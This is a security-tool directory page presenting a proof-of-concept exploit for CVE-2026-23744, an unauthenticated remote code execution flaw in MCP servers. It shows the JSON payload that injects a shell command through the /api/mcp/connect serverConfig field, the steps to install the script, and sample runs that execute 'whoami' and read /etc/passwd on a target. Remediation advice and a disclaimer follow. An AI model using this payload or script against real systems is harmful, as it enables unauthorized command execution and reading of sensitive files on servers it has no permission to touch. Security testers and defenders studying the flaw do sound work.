Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-23744-POC — Python PoC for CVE-2026-23744, unauthenticated RCE in MCP servers via the /api/mcp/connect serverConfig command field (default port 6274) | Kitploit
Tools/GitHubGitHub/d3vn0mi/cve-2026-23744-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed Teaming
GitHubd3vn0mi/cve-2026-23744-poc

CVE-2026-23744-POC

Python PoC for CVE-2026-23744, unauthenticated RCE in MCP servers via the /api/mcp/connect serverConfig command field (default port 6274)

View Repository
5 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-23744 — MCP Server Unauthenticated RCE

Proof-of-Concept exploit by d3vn0mi

Overview

CVE-2026-23744 is an unauthenticated Remote Code Execution (RCE) vulnerability in MCP-compatible servers exposed on port 6274. The /api/mcp/connect endpoint accepts a serverConfig object that allows callers to specify an arbitrary OS command and arguments — without any authentication or authorisation checks.

An attacker with network access to the service can execute arbitrary commands as the user running the MCP server.

DetailValue
CVE IDCVE-2026-23744
TypeUnauthenticated Remote Code Execution
EndpointPOST /api/mcp/connect
Port6274 (default)
SeverityCritical

Vulnerable Payload

root@kitploit:~
{
  "serverConfig": {
    "command": "sh",
    "args": ["-c", "<ATTACKER_COMMAND>"],
    "env": {}
  },
  "serverId": "anything"
}

The server spawns the supplied command with the given args without sanitisation or access control.

Installation

root@kitploit:~
git clone https://github.com/d3vn0mi/CVE-2026-23744-POC.git
cd CVE-2026-23744-POC
pip install -r requirements.txt

Usage

root@kitploit:~
# Basic usage
python3 exploit.py -t <TARGET_IP> -c '<COMMAND>'

# Custom port
python3 exploit.py -t 192.168.1.10 -p 6274 -c 'id > /tmp/pwned.txt'

# Skip the reachability check
python3 exploit.py -t 10.0.0.5 -c 'whoami' --no-check

# Custom server ID
python3 exploit.py -t 127.0.0.1 -c 'cat /etc/passwd' -s my_server

Options

FlagDescription
-t, --targetTarget IP or hostname (required)
-c, --commandOS command to execute (required)
-p, --portTarget port (default: 6274)
-s, --server-idserverId value in the payload
--timeoutProbe timeout in seconds (default: 30)
--no-checkSkip initial reachability check

Remediation

  • Do not expose the MCP server to untrusted networks.
  • Apply vendor patches as soon as they are available.
  • Restrict access to the /api/mcp/connect endpoint via authentication and network-level controls.
  • Monitor for unexpected process spawning from the MCP server process.

Disclaimer

This tool is provided for authorised security testing and educational purposes only. Unauthorised access to computer systems is illegal. The author assumes no liability for misuse. Always obtain proper authorisation before testing.

License

This project is licensed under the MIT License.

Author

d3vn0mi — github.com/d3vn0mi

Download Tool